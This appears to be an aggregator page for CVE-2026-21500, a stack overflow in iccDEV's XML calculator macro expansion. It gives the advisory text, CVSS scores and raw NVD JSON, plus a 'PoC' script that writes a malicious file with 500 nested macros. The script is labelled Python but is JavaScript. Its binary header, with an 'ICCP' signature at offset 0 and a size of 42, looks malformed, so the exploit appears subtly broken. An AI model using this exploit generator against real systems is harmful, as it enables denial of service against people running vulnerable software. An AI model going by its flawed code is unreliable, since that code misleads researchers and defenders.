Security Vulnerability Report
中文
CVE-2026-21500 CVSS 5.5 MEDIUM

CVE-2026-21500

Published: 2026-01-07 18:15:54
Last Modified: 2026-01-09 22:00:12

Description

iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of ICC color management profiles. Prior to version 2.3.1.2, iccDEV is vulnerable to stack overflow in the XML calculator macro expansion. This issue has been patched in version 2.3.1.2.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-21500 PoC - Stack Overflow in iccDEV XML Calculator Macro Expansion // This PoC generates a malicious ICC profile with deeply nested macros const fs = require('fs'); function generateMaliciousMacro(depth) { let macro = '<macros>\n'; for (let i = 0; i < depth; i++) { macro += ` <macro name="m${i}">\n`; macro += ` <expand>$(m${i+1})</expand>\n`; macro += ` </macro>\n`; } macro += ` <macro name="m${depth}">\n`; macro += ` <expand>${'A'.repeat(10000)}</expand>\n`; macro += ` </macro>\n`; macro += '</macros>\n'; return macro; } function generateMaliciousICCProfile() { // ICC Profile Header const header = Buffer.alloc(128); header.writeUInt32BE(0x49434350, 0); // 'ICCP' signature header.writeUInt32BE(42, 4); // Profile size // Create malicious XML Calculator section const maliciousSection = `<?xml version="1.0" encoding="UTF-8"?> <Profile> <Calculator> ${generateMaliciousMacro(500)} <calculate>$(m0)</calculate> </Calculator> </Profile>`; return Buffer.concat([header, Buffer.from(maliciousSection)]); } // Usage const poc = generateMaliciousICCProfile(); fs.writeFileSync('CVE-2026-21500-macro.icc', poc); console.log('Malicious ICC profile generated: CVE-2026-21500-macro.icc');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21500", "sourceIdentifier": "[email protected]", "published": "2026-01-07T18:15:53.950", "lastModified": "2026-01-09T22:00:11.603", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of ICC color management profiles. Prior to version 2.3.1.2, iccDEV is vulnerable to stack overflow in the XML calculator macro expansion. This issue has been patched in version 2.3.1.2."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color ICC. Antes de la versión 2.3.1.2, iccDEV es vulnerable a un desbordamiento de pila en la expansión de macros de la calculadora XML. Este problema ha sido parcheado en la versión 2.3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-674"}, {"lang": "en", "value": "CWE-1119"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/cce5f9b68a6c067b7ef898ccd5b000770745fb14", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/f295826a6f15add90490030f23b2ddd8593bff5b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/384", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/406", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-4h4j-mm9w-2cp4", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}